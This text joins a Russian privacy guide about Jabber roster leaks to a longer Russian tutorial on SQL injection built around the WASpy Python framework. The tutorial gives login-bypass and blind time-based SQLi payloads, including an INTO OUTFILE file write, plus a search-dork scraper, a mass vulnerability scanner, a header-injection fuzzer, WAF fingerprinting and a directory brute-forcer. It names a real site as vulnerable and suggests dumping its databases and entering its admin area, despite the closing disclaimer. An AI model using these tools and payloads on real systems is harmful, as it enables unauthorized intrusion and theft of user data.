Achtung! Деанон через джаббер? Бывает и такое.

Приходя домой ты моешь руки? Теперь давайте вспомним, что есть еще такое понятие, как гигиена цифровая. Её несоблюдение тоже может привести к печальным последствиям. И даже “самый безопасный” джаббер может привести не только к деанону тебя, но и твоих друзей.

Предположим, ты добавил контакт в Jabber, переименовал его как удобно и распределил в нужную группу для порядка. Вся информация моментально “улетела” в серверный контакт-лист, или по-другому – Roster. Представь, контакт назывался “bArmAlEy”, а ты по старой дружбе переименовали его в “Misha Berdoev”, да еще и занес в группу “Carders”. Все это сохранилось на сервере.

JabberIDNicknameGroupSubscription
[email protected]Misha BerdoevCardersboth
Наглядно, для понимания, на сервере все выглядит так

При этом, тот самый bArmAlEy на другом конце провода даже не подозревает, что его уже слили. Это важно понимать, потому что те, кто тебя знают не под ником, или знают под другим ником, могут тебя за нечего делать “переименовать” в своем контакте “по-батюшке”, или еще по каким-нибудь сексуально-рассово-этническим признакам. Или, например, связать между собой разные ники. И неожиданно контакт [email protected] станет иметь ник Aibolit (более удобный для восприятия при общении человеком), который по другим контактам у других людей проходит как [email protected]. И никто в душе не ведает, что barmaley@ и aibo@ – это одно и то же лицо. Только теперь roster знает. А значит и все, кто имеют к нему доступ.

Ты создал два отдельных джаббера со знакомым вам человеком для личной переписки, и кто-то один (хотя бы один из вас) переименовал в “привычный” ник или имя, все пиздец, epic fail, – это слив.

Проконтролировать это удаленно невозможно. Можно лишь соблюдать социальную гигиену. То есть все твое окружение должно знать об этой особенности контактов и не заниматься подобными переименованиями или разделеннием по группам (по ним так же можно находить в ростере одних и тех же людей с разными никами/контактами, если структура групп такая же).

Чтобы чуть упростить жизнь пользователей Jabber, использующих Miranda NG, я с помощью George Hazan зачистил эту проблему там. (Ниже список коммитов).

Очень важно понимать: как это происходит в других jabber-клиентах – известно лишь их авторам. Но, с вероятностью около 95%, вся информация из локального контакт-листа по умолчанию улетает в ростер, как и предписывает это логика работы XMPP (серверный контакт-лист). Т.е. все ваши локальные имена контактов и группы сливаются на сервер. (Это касается любых клиентов, которые работают, как предписывает протокол – с серверным контакт-листом, т.е. все мобильные клиенты типа Xabber – тоже; не переименовывайте там контакты и не добавляйте людей в группы! Если только это не group1, group2 и т.п. в прямом смысле).

Если вы уже ранее слили информацию о никнеймах и группах, что делать сейчас? Как минимум, зачистить (хотя, скорее всего, она уже в руках у “тех кто”). А как максимум – обновлять контакты.

Даю инструкцию как зачистить эту информацию, используя последнюю версию Miranda NG (указанные исправления доступны только в последней дебаг-бета версии от 27.05.2020; в релизе этого пока нет).

1) Вначале посмотрите насколько все плохо. Просто обзорно. В верхнем меню выбираете Status -> нужный jabber-аккаунт -> Services… -> Roster Editor. В появившемся окне нажимаете [Download]. Появится список контактов из ростера – вот это то, что о ваших контактах, их именах, группах знает сервер (и “те кто”).

2) Не спешите здесь ничего редактировать – это не имеет смысла, данная таблица на практике read only (т.е. даже если вы что-то поменяете, это никак не сработает).

3) Посмотрели? Закрывайте окно.

4) Теперь идите в настройки, чтобы отключить синхронизацию ваших контактов (теперь это отключает не только синхронизацию групп, но и никнеймов, + еще и работает отлично).
Путь такой:
= -> Options… -> Network -> нужный jabber-аккаунт -> таб “Advanced”
Прокрутить список почти в самый низ. Над подгруппой Security будет виден checkbox:
[ ] Ignore server roster (groups and nick names)
Включите его – [x].
Далее – [OK] (закрываем настройки).

5) Теперь можно заняться чисткой. Надо зайти в Roster Editor у этого аккаунта (как это сделать указано в п. 1). Нажать там кнопку [Download], после чего нажать кнопку [Export] и сохранить в jabber-acc.xml (имя удобное вам).

6) После этого открыть сохраненный в предыдущем пункт jabber-acc.xml в любом удобном вам редакторе и привести все поля name=”” и group=”” именно к такому (пустому) состоянию. (Там у вас, вероятно, будет что-то типа jid=”[email protected]” name=”Vasek Koreshok” group=”Finance”, а нужно сделать jid=”[email protected]” name=”” group=””).

7) После окончания подготовки чистого .xml (лучше в другой копии на случай чего), нажимаете в том же Roster Editor кнопку [Import] и загружаете почищенный .xml.

8) Готово. (Так надо проделать со всеми jabber-аккаунтами, если у вас их больше одного)

Для информации список коммитов в Miranda NG с указанными изменениями:

Roster (ignore groups/nicknames):
https://github.com/miranda-ng/miranda-ng/commit/5ebba85de37a0aaaa0732fe6307fcf8de9010fea
https://github.com/miranda-ng/miranda-ng/commit/67adb1e398ec542ad62711c30031088685161546
https://github.com/miranda-ng/miranda-ng/commit/fd1139fc1959a9988143839d3224778d9ce0bbdd
https://github.com/miranda-ng/miranda-ng/commit/985d99a13b43a8420faadae25c4b3fe7f52305d6
https://github.com/miranda-ng/miranda-ng/commit/c6f19f056032de76565d097986d16db77b065a03

Roster: xml export/import (roster editor)
https://github.com/miranda-ng/miranda-ng/commit/59bcd6091e2332308e4aac5a05d3b719f15aa031

Бонусом:

1) Сокрытие типа/версии клиентского ПО:
https://github.com/miranda-ng/miranda-ng/commit/728b55c7e6fc307f084caabfdaf6a89aa6cf4f1d

2) Коммиты 15-21 марта 2020: починка GPG для разных ситуаций (подвисания всякие и проч.)

С разрешения sporaw.livejournal.com

Пациент, укольчик. Фреймворк для автоматизации поиска SQL инъекций на Python

В этой статье мы объясним, что такое SQL-инъекция, опишем некоторые распространенные примеры, объясним, как найти и использовать различные виды уязвимостей SQL-инъекций и разберем основные моменты нашего фреймворка WASpy (https://github.com/f4rber/WASpy), который позволяет находить уязвимые сайты используя дорки, которые мы разбирали в прошлых статьях.

Что такое SQL-инъекция (SQLi)?

SQL – это язык запросов, разработанный для управления данными, хранящимися в реляционных базах данных. Вы можете использовать его для доступа, изменения и удаления данных. Многие веб-приложения и веб-сайты хранят все данные в базах данных SQL. В некоторых случаях вы также можете использовать команды SQL для запуска команд операционной системы. Поэтому успешная атака SQL-инъекцией может иметь очень серьезные последствия.

SQLi – это уязвимость, которая позволяет злоумышленнику вмешиваться в запросы, которые приложение выполняет в своей базе данных. Обычно этот тип атаки позволяет злоумышленнику просматривать данные, которые он обычно не может получить. Это могут быть данные, принадлежащие другим пользователям, или любые другие данные, к которым само приложение может получить доступ. Во многих случаях злоумышленник может изменить или удалить эти данные, что приводит к постоянным изменениям содержимого или поведения приложения.

В некоторых ситуациях злоумышленник может усилить атаку с использованием SQL-инъекции, чтобы поставить под угрозу базовый сервер или другую внутреннюю инфраструктуру или выполнить атаку типа «отказ в обслуживании».

Успешная атака с использованием SQL-инъекций может привести к несанкционированному доступу к конфиденциальным данным, таким как пароли, данные кредитных карт или личные данные пользователей. В некоторых случаях злоумышленник может получить постоянный бэкдор в системы организации, что приведет к долгосрочному доступу, который может оставаться незамеченным в течение длительного периода.

Существует множество уязвимостей, атак и методов внедрения SQL-кода, возникающих в разных ситуациях. Вот некоторые распространенные примеры внедрения SQL:

  • Извлечение скрытых данных , где вы можете изменить запрос SQL для получения дополнительных результатов.
  • Подрыв логики приложения , где вы можете изменить запрос, чтобы он мешал логике приложения.
  • UNION атаки , где вы можете получить данные из разных таблиц базы данных.
  • Извлечение базы данных , где вы можете извлечь информацию о версии и структуре базы данных.
  • Bind SQLi , когда результаты запроса, которым вы управляете, не возвращаются в ответах приложения.

Организация OWASP (Open Security Application Project) перечисляет инъекции в своем документе OWASP Top 10 2017 как угрозу номер один для безопасности веб-приложений.

Пример простой SQLi

Пример очень прост. Он показывает, как злоумышленник может использовать уязвимость SQL Injection для обхода безопасности приложения и аутентификации в качестве администратора.

Следующий скрипт представляет собой псевдокод, выполняемый на веб-сервере. Это простой пример аутентификации с использованием имени пользователя и пароля. В примере базы данных есть таблица users со следующими столбцами: username и password.

# Определяем переменные POST
uname = request.POST['username']
passwd = request.POST['password']
# SQL-запрос уязвимый к SQLi
sql = “SELECT id FROM users WHERE username=’” + uname + “’ AND password=’” + passwd + “’”
# Выполняем инструкцию SQL
database.execute(sql)

Эти поля ввода уязвимы для SQL-инъекций. Злоумышленник может использовать команды SQL во входных данных таким образом, чтобы изменить оператор SQL, выполняемый сервером базы данных. Например, они могли бы использовать трюк с одинарной кавычкой и установить в passwd поле значение:

password' OR 1=1

В результате сервер базы данных выполняет следующий SQL-запрос:

SELECT id FROM users WHERE username='username' AND password='password' OR 1=1'

Из-за OR 1=1 оператора WHERE предложение возвращает первое id из users таблицы независимо от того, что записано username и password. Первый пользователь id в базе данных очень часто является администратором. Таким образом, злоумышленник не только обходит аутентификацию, но и получает права администратора. Они также могут закомментировать оставшуюся часть SQL-оператора, чтобы дополнительно контролировать выполнение SQL-запроса: MySQL, MSSQL, Oracle, PostgreSQL, SQLite

' OR '1'='1' --
' OR '1'='1' /*
-- MySQL
' OR '1'='1' #
-- Access (using null characters)
' OR '1'='1' %00
' OR '1'='1' %16

SQL-инъекция второго порядка

SQL-инъекция первого порядка возникает, когда приложение принимает пользовательский ввод из HTTP-запроса и в процессе обработки этого запроса небезопасным образом вводит ввод в SQL-запрос.

В SQL-инъекции второго порядка (также известной как хранимая SQL-инъекция) приложение берет пользовательский ввод из HTTP-запроса и сохраняет его для будущего использования. Обычно это делается путем помещения входных данных в базу данных, но никакой уязвимости в том месте, где хранятся данные, не возникает. Позже, при обработке другого HTTP-запроса, приложение извлекает сохраненные данные и небезопасным образом вводит их в SQL-запрос.

Внедрение SQL второго порядка часто возникает в ситуациях, когда разработчики знают об уязвимостях SQL-инъекций и, таким образом, безопасно обрабатывают первоначальное размещение ввода в базу данных. Когда данные обрабатываются позже, они считаются безопасными, поскольку ранее они были безопасно помещены в базу данных. На этом этапе данные обрабатываются небезопасным способом, поскольку разработчик ошибочно считает их доверенными.

Пишем сканер для дорков

Перед началом скажу, что весь проект можно найти тут:

https://github.com/f4rber/WASpy

Используя библиотеку requests и bs4, мы напишем небольшой парсер для поисковика www1.search-results.com, в дальнейшем полученные сайты мы будем отправлять в другой скрипт, который проверит их на предмет SQLi.

import requests
# С помощью BeautifulSoup мы будем парсить ответ requests на предмет URL сайтов 
from bs4 import BeautifulSoup
dork = input("Enter dork: ")
pages = 1
# К-во странниц которое мы хотим отсканить 
how_much = input("Enter number of pages to scan: ")
# Если пользователь введет y мы очистим txt файл от прошлых результатов
decision = input("Clean old file? (y/n)\n[OPTION] ==> ")
if decision == "y":
    file = open("dorks.txt", "w", encoding="utf=8")
    file.write("https://cybersec.org\n")
    file.close()
else:
    print("Skipping...")
# В цикле мы будем парсить каждую странницу, пока она не сравняется с переменной how_much
while pages != int(how_much):
    print("[+] Results:")
    # Посылаем запрос с дорком в поисковик
    send = requests.get("http://www1.search-results.com/web?q=" + dork + "&page=" + str(pages))
    # Парсим ответ
    parsing = BeautifulSoup(send.text, features="html.parser")
    # Записываем результаты в txt
    for data in parsing.find_all("cite"):
        print(data.string)
        f = open("dorks.txt", "a", encoding="utf=8")
        f.write(data.string + "\n")
    pages = pages + 1
    # Если pages = how_much то мы напишем куда были сохранены результаты
    if pages == int(how_much):
        print("\0Результаты были сохранены в dorks.txt\n")

Проверяем полученные сайты

Использование библиотеки colorama поможет нам визуально выделить уязвимые сайты, а fake_useragent создаст фейковых юзер-агентов.

import requests
import time
from colorama import Fore
from fake_useragent import UserAgent
import urllib3
http = urllib3.PoolManager()  # Создаем переменную с PoolManager-ом
# Просим ввести имя/путь к файлу с URL-ами

file = input(Fore.RESET + "Enter file with url`s: ")
# Спрашиваем нужно ли очистить файл от прошлых урлов, если пользователь выберет y
# Мы заменим все урлы одним сайтом

decision = input(Fore.RESET + "Clean old file? (y/n)\n[OPTION] ==> ")
if decision == "y":
    urls = open(r"injectableURL.txt", mode="w")
    urls.write("https://cybersec.org\n")
    urls.close()
else:
    # Если выбрано что то кроме y, пропускаем очистку

    print(Fore.RESET + "[+] Skipping...")

url = open(str(file), "r")
# Переменная с ошибкой которую мы будем искать на сайтах

error = "You have an error in your SQL syntax"
while url.readline():

    try:
        # Переменная с юзер агентами
        ua = UserAgent(cache=False)
        headers = requests.utils.default_headers()
        headers.update(
            {
                'User-Agent': ua.random  # Делаем случайного юзер-агента
            })
        # Отключаем предупреждения urllib3    urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
         # Читаем каждую строку из файла и записываем в переменную
        connect_to = url.readline()
        time.sleep(0.10)  # Время между каждым запросом 
        print(Fore.RESET + "\n[+]########[+]")
        print(Fore.RESET + "[+] Result:")
        print(connect_to)
        # Отправляем запрос и добавляем к URL-у '
        send = http.request("GET", str(connect_to) + "'", headers=headers)
         # Если ошибка будет в коде странницы сайта, печатаем сообщение о том, что
         # Сайт уязвим и запишем адрес в файл
        if bytes(error, encoding="utf-8") in send.data:
            print(Fore.GREEN + "Vulnerable!")
            injectable_url = open("injectableURL.txt", 'a')
            injectable_url.write(str(connect_to))
            injectable_url.close()
            print(Fore.RESET + "[+]########[+]\n")
        else:
            print(Fore.RED + "Not vulnerable!")
            print(Fore.RESET + "[+]########[+]\n")
    except Exception as ex:
        print(Fore.RED + "[+] Exception: " + str(ex))

После того как Dorker насканил сайты и сохранил в файл dorks.txt, можно запускать следующий инструмент, который проверит уязвимые сайты:

Проверяем сайт http://www.marists.net/page.php?id=87′:

Прекрасно! Софт работает и находит уязвимость в скормленных ему сайтах. Теперь можно засунуть этот URL в sqlmap и получить базы данных, в которых могут быть различные данные такие как адреса почт, адреса людей, пароли и прочие интересные вещи.

В фреймворке так же имеется фаззер Blind SQLi, разберем лишь часть из его кода и протестим модуль тут:

http://fuzzme.org/SQLi/SQLi_X-Forwarded-For_Insert.php

Лист с пейлоадами которые он инжектит в указанный сайт:

def r_time():
    # Случайное время
    return randint(0, int(strftime('%m%d')))
def r_string(n):
    # Случайные буквы
    return "".join([choice(letters.lower()+letters.upper()) for _ in range(0, int(n))])
payload = [

    "' OR SLEEP(3)#",
    "' OR SLEEP(3)--+",
    "' OR SLEEP(3)-- -",
    "' OR benchmark(30000000,MD5(7))#",
    "' OR benchmark(30000000,MD5(7))--+",
    "' OR benchmark(30000000,MD5(7))-- -",
    "NULL',(SELECT SLEEP(3)))#",
    "NULL',(SELECT SLEEP(3)))--+",
    "NULL',(SELECT SLEEP(3)))-- -",
    "NULL',(SELECT benchmark(30000000,MD5(7))))#",
    "NULL',(SELECT benchmark(30000000,MD5(7))))--+",
    "NULL',(SELECT benchmark(30000000,MD5(7))))-- -",
    "NULL','NULL',(SELECT SLEEP(3)))#",
    "NULL','NULL',(SELECT SLEEP(3)))--+",
    "NULL','NULL',(SELECT SLEEP(3)))-- -",
    "NULL','NULL',(SELECT benchmark(30000000,MD5(7))))#",
    "NULL','NULL',(SELECT benchmark(30000000,MD5(7))))--+",
    "NULL','NULL',(SELECT benchmark(30000000,MD5(7))))-- -",
    "+AND + SLEEP(10) - -",
    "/**/AND/**/SLEEP(10)/**/--",
    "'+AND+(IF((substring((SELECT+DATABASE()),1,1))+=+'d',+SLEEP(5),+0))--+",
    "/**/AND/**/(IF((substring((SELECT/**/DATABASE()),1,1))/**/=/**/'a',/**/SLEEP(0.5),/**/0))/**/--",
    "'+(select*from(select(sleep(10)))a)+'",
    "'+AND+(SELECT+9950+FROM+(SELECT(SLEEP(10)))obCp)--+",
    "'; waitfor delay '0:0:3' --",
    "AND %s=%s" % (r_time(), r_time()),
    "OR %s=%s" % (r_time(), r_time()),
    ") AND %s=%s" % (r_time(), r_time()),
    ")) AND %s=%s" % (r_time(), r_time()),
    "))) AND %s=%s" % (r_time(), r_time()),
    ") OR %s=%s" % (r_time(), r_time()),
    ")) OR %s=%s" % (r_time(), r_time()),
    "))) OR %s=%s" % (r_time(), r_time()),
    "sleep(%s)#" % (r_time()),
    "\" or sleep(%s)#" % (r_time()),
    "\' or sleep(%s)#" % (r_time()),
    "\' or sleep(%s)=\'" % (r_time()),
    "1) or sleep(%s)#" % (r_time()),
    "\')) or sleep(%s)=\'" % (r_time()),
    ";waitfor delay \'0:0:%s\'--" % (r_time()),
    "\"));waitfor delay \'0:0:%s\'--" % (r_time()),
    "1 or benchmark(10000000,MD5(1))#",
    "')) or benchmark(10000000,MD5(1))#",
    "\')) or pg_sleep(%s)--" % (r_time()),
    ") AND %s=%s AND (%s=%s" % (r_time(), r_time(), r_time(), r_time()),
    ") AND %s=%s AND (8533=8533" % (r_time(), r_time()),
    "\') AND %s=%s AND (\'%s\'=\'%s" % (r_time(), r_time(), r_string(5), r_string(5)),
    "\' OR NOT %s=%s-- %s" % (r_time(), r_time(), r_string(5)),
    "\' OR NOT %s=   %s-- %s" % (r_time(), r_time(), r_string(5)),
    "\' OR NOT (%s)=%s-- %s" % (r_time(), r_time(), r_string(5)),
    "' OR 1=1 INTO OUTFILE ' / var / www / file.php' --",

Присутствует и “сканер” WAF, который работает по аналогии с сканером ошибок, который мы разбирали выше, то есть, в коде странницы программа смотрит “отпечатки” WAF-a и если таковые имеются, то пишет название, ниже НЕ полный список фаерволов которые модуль может определять:

def waf_detect(page_source):

    waflist = {
        '360': 'Sorry! Your access has been intercepted because your links may threaten website security.',
        'aeSecure': 'aesecure_denied.png',
        'Airlock1': 'Server detected a syntax error in your request',
        'Airlock2': 'Check your request and all parameters',
        'AlertLogic1': 'We are sorry, but the page you are looking for cannot be found',
        'AlertLogic2': 'The page has either been removed, renamed or temporarily unavailable',
        'Aliyundun': 'Sorry, your request has been blocked as it may cause potential threats to the server\'s '
                     'security',
        'Anquanbao1': '/aqb_cc/error/',
        'Anquanbao2': 'hidden_intercept_time',
        'Anyu1': 'Sorry! your access has been intercepted by AnYu',
        'Anyu2': 'AnYu- the green channel',
        'Approach1': 'Approach Web Application Firewall Framewor',
        'Approach2': 'Your IP address has been logged and this information could be used by '
                     'authorities to track you',
        'Approach3': 'Approach infrastructure team',
        'Armor Defense1': 'This request has been blocked by website protection from Armor',
        'Armor Defense2': 'If you manage this domain please create an Armor support ticket',
        'ASP.NET Generic': 'This generic 403 error means that the authenticated user is not authorized to '
                           'use the requested resource',
        'Astra': 'our website protection system has detected an issue with your IP address and wont let you '
                 'proceed any further',
        'Barracuda1': 'You are unable to access this website',
    # Чекер WAF
    for waf_name, waf_sign in waflist.items():
        if waf_sign in page_source:
            print(
                '[' + Fore.RED + 'WARNING' + Fore.RESET + '] WAF detected : ' + Fore.YELLOW + waf_name +
                Fore.RESET + ' | WAF sign <' + Fore.YELLOW + waf_sign + Fore.RESET + '>')

Один из методов фаззинга:

def get_fuzzing(url, options, payload, r_delay):
    vuln = False
    # Юзер агент во время фаззинга
    user_agent = UserAgent(cache=False)
    headers = requests.utils.default_headers()
    headers.update(
        {
            'User-Agent': user_agent.random  # Рандомный ЮА
        })
    if options == '1':
        headers = {'X-Forwarded-For': payload, 'User-Agent': user_agent.random}
        header = 'X-Forwarded-For'
    elif options == '2':
        headers = {'User-Agent': payload}
        header = 'User-Agent'
    else:
        headers = {'Referer': payload, 'User-Agent': user_agent.random}
        header = 'Referer'
    t1 = time_now()  # Получение времени до отправки
    response = requests.get(url, headers=headers)  # Подключение к URL
    t2 = time_now()  # Получение времени после отправки
    if r_delay != 0:  # Если r_delay отличается от 0, то мы добавляем задержку
        wait(r_delay)
    page_source = str(response.text)  # Ответ в формате кода странницы
    code = str(response.status_code)  # Статус код ответа
    resp_time = round(t2 - t1)  # Время ответа на запрос
    waf_detect(page_source)  # Проверяем, есть ли фингерпринт WAF в коде странницы
    if resp_time >= 3:
        print(
            '[' + Fore.BLUE + 'TRYING' + Fore.RESET + '] [' + Fore.YELLOW + code + Fore.RESET + '] ' +
            Fore.YELLOW + header + Fore.RESET + ' : ' + Fore.GREEN + payload + Fore.RESET + ' (' + Fore.GREEN + str(
                resp_time) + Fore.RESET + 's)')
        vuln = True
    else:
        print(
            '[' + Fore.BLUE + 'TRYING' + Fore.RESET + '] [' + Fore.YELLOW + code + Fore.RESET + '] ' +
            Fore.YELLOW + header + Fore.RESET + ' : ' + Fore.RED + payload + Fore.RESET + ' (' + Fore.RED + str(
                resp_time) + Fore.RESET + 's)')

Сканер директорий

Сканер директорий работает по принципу брутфорса, из словаря мы берем названия папок и пытаемся к ним достучатся.

from datetime import datetime
from time import sleep
from concurrent.futures import ThreadPoolExecutor
from fake_useragent import UserAgent
import requests
import sys
import urllib3
import os
from colorama import Fore
# Отключаем предупреждения
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
urllib3.disable_warnings()
requests.packages.urllib3.disable_warnings()
# Переменная с ЮА 
user_agent = {'User-agent': 'Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)'}
class Cl:
    # Цвета
    pink = '\033[95m'
    blue = '\033[94m'
    green = '\033[92m'
    yellow = '\033[93m'
    red = '\033[91m'
    end = '\033[0m'
    white = '\033[1m'
    under = '\033[4m'
    # URL цели, в формате http://TARGET.com
    target = input(Fore.RESET + "Enter target URL: ")
    # К-во потоков
    thread = int(input(Fore.RESET + "Enter number of threads: "))
    # Словарь
    wordlist = input(Fore.RESET + "Use default wordlist? (y/n): ")
    if wordlist == "y":
        wordlist = open("tools/wordlists/dirbuster-medium.txt", 'r')
    else:
        try:
            # Тут пользователь будет должен указать путь к своему словарю
            path_to_wordlist = input(Fore.RESET + "Enter path to wordlist: ")
            wordlist = open(str(path_to_wordlist), 'r')
        # В случае ошибки мы напишем ее код и выберем стандартный словарь
         except Exception as ex:  
            print("Error: " + str(ex))
            wordlist = open("tools/wordlists/dirbuster-medium.txt", 'r')
    # Переменная в которой будет содержаться решение о выборе случайного ЮА
    random_agent = input(Fore.RESET + "Enable random agent? (y/n): ")

Функция с статусами и их кодом:

def statuses(line):
    url = str(Cl.target) + str(line)
    if Cl.random_agent == "y":
        user__agent = {'User-agent': UserAgent().random}
        r = requests.get(url, headers=user__agent, timeout=5, allow_redirects=False, verify=False)
    else:
        user__agent = {'User-agent': 'Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)'}
        r = requests.get(url, headers=user__agent, timeout=5, allow_redirects=False, verify=False)
    num = int(len(r.text))
    status = r.status_code
    # Success
    if status == 200:
        if line == '':
            pass
        elif len(r.text) == length:
            pass
        else:
            sys.stdout.write(
                Cl.green + '| {} | {} - {} | {}\n'.format(datetime.now().strftime('%H:%M:%S'), status, sizeof(num),url) + Cl.end)
    # Redirect
    elif status == 301:
        if len(r.text) == length:
            pass
        else:
            sys.stdout.write(
                Cl.red + '| {} | {} - {} | {}\n'.format(datetime.now().strftime('%H:%M:%S'), status, sizeof(num), url) + Cl.end)
    # Internal server error
    elif status == 500:
        if len(r.text) == length:
            pass
        else:
            sys.stdout.write(
                Cl.pink + '| {} | {} - {} | {}\n'.format(datetime.now().strftime('%H:%M:%S'), status, sizeof(num),url) + Cl.end)
    # Unauthenticated
    elif status == 401:
        if len(r.text) == length:
            pass
        else:
            sys.stdout.write(
                Cl.yellow + '| {} | {} - {} | {}\n'.format(datetime.now().strftime('%H:%M:%S'), status, sizeof(num), url) + Cl.end)
    # Forbidden
    elif status == 403:
        if ".ht" in line:
            pass
        elif len(r.text) == length:
            pass
        else:
            sys.stdout.write(
                Cl.blue + '| {} | {} - {} | {}\n'.format(datetime.now().strftime('%H:%M:%S'), status, sizeof(num),url) + Cl.end)
# Попытка подключиться к серверу
try:
    cek = requests.get(str(Cl.target), headers=user_agent, timeout=5, verify=False)
    length = len(cek.text)
except Exception as ex:
    print('ERROR: Invalid address or target is down..' + str(ex))
    sys.exit()
no = 0
# Открытие файла и чтение строк из него.
file = Cl.wordlist.read().split('\n')
l_count = sum(1 for line in file)
no = no + 1
# Главная переменная
def dirscan():
    print('Start scanning directory..')
    # Пишем выбранный словарь, к-во потоков и ЮА
    print('Wordlist : {} | Thread : {} | Random agent : {}'.format(Cl.wordlist, Cl.thread, Cl.random_agent))
    # Запускаем потоки
    executor = ThreadPoolExecutor(max_workers=Cl.thread)
    futures = []
    for line in file:
        try:
            a = executor.submit(statuses, line)
            futures.append(a)
            c = (no * 100) / l_count
            # Сбрасываем буфер
            sys.stdout.flush()
            sys.stdout.write("| {} | {}% Line : {}\r".format(datetime.now().strftime('%H:%M:%S'), int(c), int(no)))
            sys.stdout.flush()
         # Если нажато CTRL+C, то программа завершит работу
        except(KeyboardInterrupt, SystemExit):
            print('\r| {} | Exiting program ...'.format(datetime.now().strftime('%H:%M:%S')))
            os.kill(os.getpid(), 9)
    while True:
        try:
            prog()
            cek = a.done()
            if cek is True:
                sleep(1)
                exit()
        except KeyboardInterrupt: # Если нажато CTRL+C, то программа завершит работу
            print('\r| {} | Exiting program ...'.format(datetime.now().strftime('%H:%M:%S')))
            os.kill(os.getpid(), 9)

Брут директорий показал нам что есть папка secretary: http://www.marists.net/secretary/

Если учесть, что мы до этого смогли слить бд, то войти в аккаунт админа не составит труда.

Как предотвратить SQL-инъекцию

Единственный надежный способ предотвратить атаки SQL-инъекций – это проверка ввода и параметризованные запросы, включая подготовленные операторы. Код приложения никогда не должен использовать ввод напрямую. Разработчик должен очистить все входные данные, а не только входные данные веб-форм, такие как формы входа. Они должны удалять потенциальные элементы вредоносного кода, такие как одинарные кавычки. Также рекомендуется отключить отображение ошибок базы данных на рабочих сайтах. Ошибки базы данных могут быть использованы с SQL-инъекцией для получения информации о вашей базе данных.

Обрабатывайте все пользовательские данные как ненадежные. Любой пользовательский ввод, который используется в запросе SQL, представляет риск внедрения SQL. Относитесь к вводу от аутентифицированных и / или внутренних пользователей так же, как к общедоступному вводу.

Старые технологии веб-разработки не имеют защиты SQLi. Используйте последнюю версию среды и языка разработки и новейшие технологии, связанные с этой средой / языком. Например, в PHP используйте PDO вместо MySQL.

Напоминаем, что сканировать вы можете только свои системы.

ВНИМАНИЕ! АДМИНИСТРАЦИЯ САЙТА НЕ СОВЕРШАЕТ И НЕ РЕКОМЕНДУЕТ ВАМ СОВЕРШАТЬ ПРОТИВОПРАВНЫХ ДЕЙСТВИЙ ИЛИ ПОЛУЧАТЬ НЕСАНКЦИОНИРОВАННЫЙ ДОСТУП К СИСТЕМАМ. ДАННАЯ СТАТЬЯ НАПРАВЛЕНА НА ТО, ЧТОБЫ УКАЗАТЬ НА ПРОБЛЕМЫ С СИСТЕМАМИ И ПРЕДОСТЕРЕЧЬ ПОЛЬЗОВАТЕЛЕЙ ОТ ВОЗМОЖНЫХ АТАК.